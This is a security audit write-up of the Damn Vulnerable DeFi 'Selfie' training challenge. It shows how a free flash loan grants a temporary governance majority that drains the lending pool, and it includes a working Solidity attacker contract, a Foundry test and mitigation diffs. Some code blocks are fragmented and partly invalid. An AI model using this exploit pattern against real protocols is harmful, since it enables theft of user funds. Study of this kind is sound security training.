

Damn Vulnerable DeFi, Selfie Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: June 30, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, Selfie Security Review
2. [Table of contents](#)
3. [About Me](#)
4. [Disclaimer](#)
5. [Risk Classification](#)
6. [Audit Details](#)
7. [Scope](#)
8. [Protocol Summary](#)
9. [Roles](#)
10. [Executive Summary](#)
11. [Issues found](#)
12. [Findings](#)

About Me

I'm a smart contract security researcher focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
Likelihood	High	High	Medium	Low
	Medium	H	H/M	M
	Low	H/M	M	M/L
		M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Selfie challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is June 30, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/selfie/  
  SelfiePool.sol  
  SimpleGovernance.sol  
  ISimpleGovernance.sol
```

Protocol Summary

Selfie is a lending pool that gives free flash loans of a DVT token, plus a small governance system to control the pool.

`SelfiePool` holds the tokens and lends them out with `flashLoan()`. The fee is 0, so you can borrow up to the whole pool and pay it back in the same transaction at no cost. The pool also has an admin only function `emergencyExit()`, which sends every token in the pool to any address. Only the governance contract can call it.

`SimpleGovernance` is the boss of the pool. Anyone who holds more than half of the votes can queue a call with `queueAction()`. After a 2 day delay the call can be run with `executeAction()`. The voting token is `DamnValuableVotes`, an ERC20 that also tracks votes, so your vote power follows the tokens you hold once you delegate.

In the test the pool holds 1.5 million tokens and the total supply is 2 million. The player starts with zero tokens. The goal is to take all the tokens out of the pool and send them to a recovery account.

Roles

There are two roles. Governance is the only address allowed to call `emergencyExit()` on the pool. It is set once in the pool constructor and never changes. Everyone else is a normal user. Any user that holds more than half of the votes can queue and later run a governance action. The player is a normal user with no tokens at the start who must drain the pool.

Executive Summary

The pool trusts governance to call its `emergencyExit()` back door, and governance trusts whoever holds the vote majority. The weak point is how the majority is measured. The vote check reads the live balance at this exact moment, with no snapshot from the past.

The voting token is the same token the pool lends for free. So a flash loan of the pool hands you more than half of the supply for one transaction. That is long enough to pass the vote check and queue a call to `emergencyExit()`. You pay the loan back right away, wait the 2 day delay, then run the action and the pool empties into your account. You never really own the tokens, you only rent them for one transaction.

Issues found

Severity	Number of issues found
High	1
Medium	0
Low	2
Informational	1

Severity	Number of issues found
Total	4

ID	Title	Severity
[H-1]	A flash loan gives a temporary vote majority, so anyone can queue and run emergencyExit() and drain the pool	High
[L-1]	Outgoing token transfers do not check the return value	Low
[L-2]	executeAction() is payable but never checks the sent ETH against the queued value, so ETH can get stuck	Low
[I-1]	ActionFailed error is declared but never used	Informational

Findings

High

[H-1] A flash loan gives a temporary vote majority, so anyone can queue and run emergencyExit() and drain the whole pool

Description:

The pool has a back door called emergencyExit(). It sends every token in the pool to any address. Only the governance contract is allowed to call it.

```
// src/selfie/SelfiePool.sol:71-76
function emergencyExit(address receiver) external onlyGovernance {
    uint256 amount = token.balanceOf(address(this));
    token.transfer(receiver, amount);

    emit EmergencyExit(receiver, amount);
}
```

So to drain the pool you need governance to do it for you. Governance lets you queue any call if you have more than half of the votes.

```
// src/selfie/SimpleGovernance.sol:100-104
function _hasEnoughVotes(address who) private view returns (bool) {
    uint256 balance = _votingToken.getVotes(who);
    uint256 halfTotalSupply = _votingToken.totalSupply() / 2;
    return balance > halfTotalSupply;
}
```

The problem is the vote check looks at your votes **right now**, in this very moment. There is no snapshot from the past. And the voting token is the same token the pool lends out for free in a flash loan.

The pool holds 1.5 million tokens and the total supply is 2 million. Half of supply is 1 million. So if you borrow the 1.5 million from the pool, for a short time you hold more than half of all tokens. That is enough to pass the vote check.

The full chain is short:

1. Flash loan the whole pool, 1.5 million tokens. The fee is 0.

2. Inside the callback you now hold the majority. Call `delegate(self)` so the tokens count as your votes.
3. Call `queueAction()` to queue a call to `emergencyExit(recovery)`. The vote check passes because you hold the majority right now.
4. Pay the loan back in the same transaction.
5. Wait the 2 day delay, then call `executeAction()`. Governance now calls `emergencyExit()` and the pool sends all its tokens to your recovery account.

Location `src/selfie/SimpleGovernance.sol:100-104` and `src/selfie/SelfiePool.sol:71-76`.

Impact:

Likelihood High. Anyone can do this. It needs no special role and no money, only a flash loan that costs nothing and gas.

Risk High. The whole pool is drained, 1.5 million tokens.

Proof of Concept:

A small attacker contract takes the flash loan, delegates the votes to itself, and queues the `emergencyExit(recovery)` call. After the 2 day delay the player calls `executeAction()` and the pool is emptied into the recovery account.

```
contract SelfieAttacker is IERC3156FlashBorrower {
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    SelfiePool public pool;
    SimpleGovernance public governance;
    DamnValuableVotes public token;
    address public recovery;
    uint256 public actionId;

    constructor(SelfiePool _pool, SimpleGovernance _governance, DamnValuableVotes _token, address _recovery) {
        pool = _pool;
        governance = _governance;
        token = _token;
        recovery = _recovery;
    }

    function attack(uint256 amount) external {
        pool.flashLoan(this, address(token), amount, "");
    }

    function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external returns (bytes) {
        // now we hold a majority of the supply, turn it into votes
        token.delegate(address(this));

        // queue the call that drains the pool to recovery
        bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
        actionId = governance.queueAction(address(pool), 0, data);

        // let the pool pull the loan back
        token.approve(address(pool), amount);
        return CALLBACK_SUCCESS;
    }
}
```

```
function test_selfieExploit() public {
    console.log("BEFORE ATTACK");
    console.log("pool balance      :", token.balanceOf(address(pool)));
    console.log("recovery balance :", token.balanceOf(recovery));
    console.log("half supply       :", token.totalSupply() / 2);

    vm.startPrank(player, player);
    SelfieAttacker attacker = new SelfieAttacker(pool, governance, token, recovery);
    attacker.attack(token.balanceOf(address(pool)));
    vm.stopPrank();

    // wait the 2 day governance delay
    vm.warp(block.timestamp + 2 days);

    vm.prank(player, player);
    governance.executeAction(attacker.actionId());

    console.log("AFTER ATTACK");
    console.log("pool balance      :", token.balanceOf(address(pool)));
    console.log("recovery balance :", token.balanceOf(recovery));

    assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
    assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Recovery did not get all tokens");
}
```

Console output from `forge test --match-path test/selfie/SelfiePoC.t.sol -vv:`

```
Ran 1 test for test/selfie/SelfiePoC.t.sol:SelfiePoC
```

```
[PASS] test_selfieExploit() (gas: 701347)
```

Logs:

[illegible]

Suite result: ok. 1 passed; 0 failed; 0 skipped

The pool goes from 1.5 million to 0, and the recovery account ends with all 1.5 million. The borrowed amount, 1.5 million, was bigger than half of supply, 1 million, so the vote check passed.

Recommended Mitigation:

Do not measure votes from the live balance. Measure them from a point in the past, so a flash loan cannot give a fresh majority. The token is ERC20Votes, so it already keeps a history. Read the votes from a past block instead of the current one.

```
- function _hasEnoughVotes(address who) private view returns (bool) {
-     uint256 balance = _votingToken.getVotes(who);
-     uint256 halfTotalSupply = _votingToken.totalSupply() / 2;
-     return balance > halfTotalSupply;
- }
+ function _hasEnoughVotes(address who) private view returns (bool) {
+     // votes from the previous block, a flash loan in this block can not help
```

```
+    uint256 balance = _votingToken.getPastVotes(who, block.number - 1);
+    uint256 halfTotalSupply = _votingToken.getPastTotalSupply(block.number - 1) / 2;
+    return balance > halfTotalSupply;
+ }
```

A flash loan is opened and closed inside one block. With past votes the borrowed tokens do not count, so the attacker has no majority and `queueAction()` reverts.

Low

[L-1] Outgoing token transfers do not check the return value

Description:

The pool sends tokens out with the raw `.transfer()` and never looks at the boolean it returns.

```
// src/selfie/SelfiePool.sol:59
token.transfer(address(_receiver), _amount);
```

```
// src/selfie/SelfiePool.sol:73
token.transfer(receiver, amount);
```

Some ERC20 tokens return `false` on a failed transfer instead of reverting. With such a token the transfer can fail quietly while the pool thinks it worked.

Location `src/selfie/SelfiePool.sol:59` and `:73`.

Impact:

Likelihood Low. Risk Low

Proof of Concept:

N/A

Recommended Mitigation:

Use OpenZeppelin `SafeERC20` and call `safeTransfer` for the outgoing transfers, so a `false` return is treated as a failure.

```
- token.transfer(address(_receiver), _amount);
+ token.safeTransfer(address(_receiver), _amount);
```

```
- token.transfer(receiver, amount);
+ token.safeTransfer(receiver, amount);
```

[L-2] `executeAction()` is payable but never checks the sent ETH against the queued value, so ETH can get stuck

Description:

`executeAction()` is payable and forwards `action.value` as ETH to the target.

```
// src/selfie/SimpleGovernance.sol:53-64
function executeAction(uint256 actionId) external payable returns (bytes memory) {
    if (!_canBeExecuted(actionId)) {
        revert CannotExecute(actionId);
    }
}
```

```

GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);

emit ActionExecuted(actionId, msg.sender);

return actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);
}

```

The function never checks that `msg.value` matches `action.value`. If the caller sends more ETH than the action needs, the extra ETH stays in the governance contract. There is no withdraw function, so that ETH is stuck.

Location `src/selfie/SimpleGovernance.sol:53-64`.

Impact:

Likelihood Low. Risk Low. It only loses the extra ETH a caller sends by mistake

Proof of Concept:

N/A

Recommended Mitigation:

Require the sent ETH to match the action value, so nothing extra is left behind.

```

function executeAction(uint256 actionId) external payable returns (bytes memory) {
    if (!_canBeExecuted(actionId)) {
        revert CannotExecute(actionId);
    }
+   require(msg.value == _actions[actionId].value, "wrong eth amount");
}

```

Informational

[I-1] ActionFailed error is declared but never used

Description:

The interface declares an `ActionFailed` error, but no contract ever reverts with it. A failed call is already handled by OpenZeppelin `functionCallWithValue`, which reverts on its own.

```

// src/selfie/ISimpleGovernance.sol:18
error ActionFailed(uint256 actionId);

```

Impact:

Info

Proof of Concept:

N/A

Recommended Mitigation:

Remove

```

- error ActionFailed(uint256 actionId);

```